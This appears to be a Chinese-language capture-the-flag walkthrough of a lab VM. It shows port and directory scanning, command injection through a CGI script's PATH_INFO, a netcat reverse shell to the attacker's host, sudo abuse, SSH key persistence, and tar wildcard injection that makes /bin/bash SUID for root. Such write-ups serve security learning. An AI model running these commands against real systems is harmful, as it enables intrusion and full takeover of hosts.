

The_Lazy_Admin

```
> nmap -sc -sv -p- 192.168.43.55
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-21 21:19 EDT
Nmap scan report for 192.168.43.55
Host is up (0.00067s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
8080/tcp  open  http     Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
MAC Address: 08:00:27:DC:09:C8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds
```

[illegible]

扫描发现了存在 `/cgi-bin` 路径，是用来存放 CGI (Common Gateway Interface, 通用网关接口) 脚本的，扫描一下脚本文件

一开始默认的字典只能扫描到test.cgi，但是test.cgi没有办法利用，换字典扫描扫描到了vuln.cgi脚本

```
> feroxbuster -u http://192.168.43.55/cgi-bin/ -w /usr/share/wordlists/dirb/big.txt -x cgi,sh,pl
```

```

__  __  __  __  __  __  __  __  __  __  __  __  __  __  __  __
|__ |__ |__ ) |__ | / \   \ / \ / \ | | \ |__ 
|__ |__ | \ | \ | \ / \ / \ / \ / \ | | \ |__ 
by Ben "epi" Risher 🤖                               ver: 2.13.1

```

```

🔗 Target Url      http://192.168.43.55/cgi-bin
🚩 In-Scope Url    192.168.43.55
🚀 Threads         50
📄 Wordlist         /usr/share/wordlists/dirb/big.txt
🔥 Status Codes    All Status Codes!
⌚ Timeout (secs)  7
👤 User-Agent      feroxbuster/2.13.1
🔧 Config File     /etc/feroxbuster/ferox-config.toml
🔍 Extract Links   true
💰 Extensions     [cgi, sh, pl]
🌐 HTTP methods    [GET]
🔁 Recursion Depth 4

```

Press [ENTER] to use the Scan Management Menu™

```

404      GET      91      31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --do
nt-filter
403      GET      91      28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --do
nt-filter
301      GET      91      28w      316c http://192.168.43.55/cgi-bin => http://192.168.43.55/cgi-bin/
200      GET      11      3w       16c http://192.168.43.55/cgi-bin/test.cgi
200      GET      11      1w       12c http://192.168.43.55/cgi-bin/vuln.cgi
[#####] - 59s 81880/81880 0s found:3 errors:0
[#####] - 59s 81876/81876 1386/s http://192.168.43.55/cgi-bin/

```

直接访问提示让我提供 PATH_INFO:

← ↻ 🏠 ⚠ 不安全 192.168.43.55/cgi-bin/vuln.cgi/etc/passwd

🍷 |  Google 翻译  workspace - work...  GitHub

```
PATH_INFO: /etc/passwd
Executing: etc/passwd
```

随便给个地址返回 `Executing:`，既然是执行，那随便给个命令

← ↻ 🏠 ⚠️ 不安全 192.168.43.55/cgi-bin/vuln.cgi/id

🍱 | 🌐 Google 翻译 🔄 workspace - work... 🔗 GitHub

```
PATH_INFO: /id
Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

发现直接就可以命令执行了，那就反弹shell

```
busybox%20nc%20192.168.43.54%205555%20-e%20bash
```

获得www权限之后，直接上linpeas扫了一下，发现 `sudo -l` 直接给了111用户的权限

```

Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d (T1548.003)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
Matching Defaults entries for www-data on Eecho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on Eecho:
    (111) NOPASSWD: ALL
    (111) NOPASSWD: /usr/bin/su - 111
Matching Defaults entries for www-data on Eecho:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on Eecho:
    (111) NOPASSWD: ALL
    (111) NOPASSWD: /usr/bin/su - 111

```

```

www-data@Eecho:/tmp$ /usr/bin/su - 111
Password:
su: Authentication failure
www-data@Eecho:/tmp$ sudo -u 111 /bin/bash
sudo: unable to resolve host Eecho: Name or service not known
111@Eecho:/tmp$ id
uid=1002(111) gid=1002(111) groups=1002(111)

```

有了111的权限就先写一个公钥进去持久化

然后同时linpeas还发现root用户没分钟执行一次 `/usr/local/bin/backup.sh` 脚本

```

17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/backup.sh
/etc/crontab:8:PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
/etc/crontab:18:17 * * * * root cd / && run-parts --report /etc/cron.hourly
/etc/crontab:19:25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/crontab:20:47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
/etc/crontab:21:52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

```

查看一下这个脚本

```

$ ls -la /usr/local/bin/backup.sh
-rwxr-xr-x 1 root root 59 Apr 17 06:23 /usr/local/bin/backup.sh
$ cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html
tar -czf /tmp/backup.tar.gz *

```

就是对/var/www/html目录下的文件做一个打包备份

bash 会在把参数交给 `tar` 命令之前, 先将 `*` 展开为当前目录下的所有文件名。如果目录下存在名为 `--checkpoint=1` 和 `--checkpoint-action=exec=.....` 的文件, `*` 展开后, `tar` 就会执行类似下面的命令: `tar -czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=.....` 从而实现任意命令执行。

```
111@Eecho:/home$ cd /var/www/html/
111@Eecho:/var/www/html$ echo "chmod +s /bin/bash" > shell.sh
111@Eecho:/var/www/html$ chmod +x shell.sh
111@Eecho:/var/www/html$ touch "./--checkpoint=1"
111@Eecho:/var/www/html$ touch "./--checkpoint-action=exec=sh shell.sh"
111@Eecho:/var/www/html$ watch -n 1 ls -la /bin/bash
111@Eecho:/var/www/html$ /bin/bash -p
bash-5.0# id
uid=1002(111) gid=1002(111) euid=0(root) groups=1002(111)
```

后来我想要查看vuln.cgi脚本的内容，发现网站目录下没有，只有test.cgi，我有点儿纳闷既然没有为什么会访问到，然后全盘搜索了一下这个文件，发现在 /usr/lib/cgi-bin/vuln.cgi 路径下

```
bash-5.0# ls -la /var/www/html/cgi-bin/
total 12
drwxr-xr-x 2 root root 4096 Apr 17 05:11 .
drwxrwxrwx 3 root root 4096 Apr 21 22:00 ..
-rwxr-xr-x 1 root root 68 Apr 17 05:11 test.cgi

bash-5.0# find / -name vuln.cgi 2>/dev/null
/usr/lib/cgi-bin/vuln.cgi

bash-5.0# cat vuln.cgi
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
echo "PATH_INFO: $PATH_INFO"
if [ -n "$PATH_INFO" ]; then
    cmd=$(echo "$PATH_INFO" | sed "s|^/||")
    if [ -n "$cmd" ]; then
        echo "Executing: $cmd"
        if [ -n "$POST_DATA" ]; then
            $cmd $POST_DATA
        else
            read post_data
            if [ -n "$post_data" ]; then
                $cmd $post_data
            else
                $cmd
            fi
        fi
    fi
fi
```

那么既然不在网站目录，是如何让用户访问到的呢

问了一下ai, 是apache的一种机制ScriptAlias (脚本别名), 在基于 Debian/Ubuntu 系统的 Apache 默认配置中, CGI 目录的路径映射是被强制重定向的, 配置文件是 `/etc/apache2/conf-available/serve-cgi-bin.conf`, 可以看到 `/cgi-bin/` 被重定向到了 `/usr/lib/cgi-bin` 路径

```
bash-5.0# cat /etc/apache2/conf-available/serve-cgi-bin.conf
<IfModule mod_alias.c>
    <IfModule mod_cgi.c>
        Define ENABLE_USR_LIB_CGI_BIN
    </IfModule>

    <IfModule mod_cgid.c>
        Define ENABLE_USR_LIB_CGI_BIN
    </IfModule>

    <IfDefine ENABLE_USR_LIB_CGI_BIN>
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
            AllowOverride None
            Options +ExecCGI +FollowSymLinks -MultiViews +SymLinksIfOwnerMatch
            Require all granted
        </Directory>
    </IfDefine>
</IfModule>
```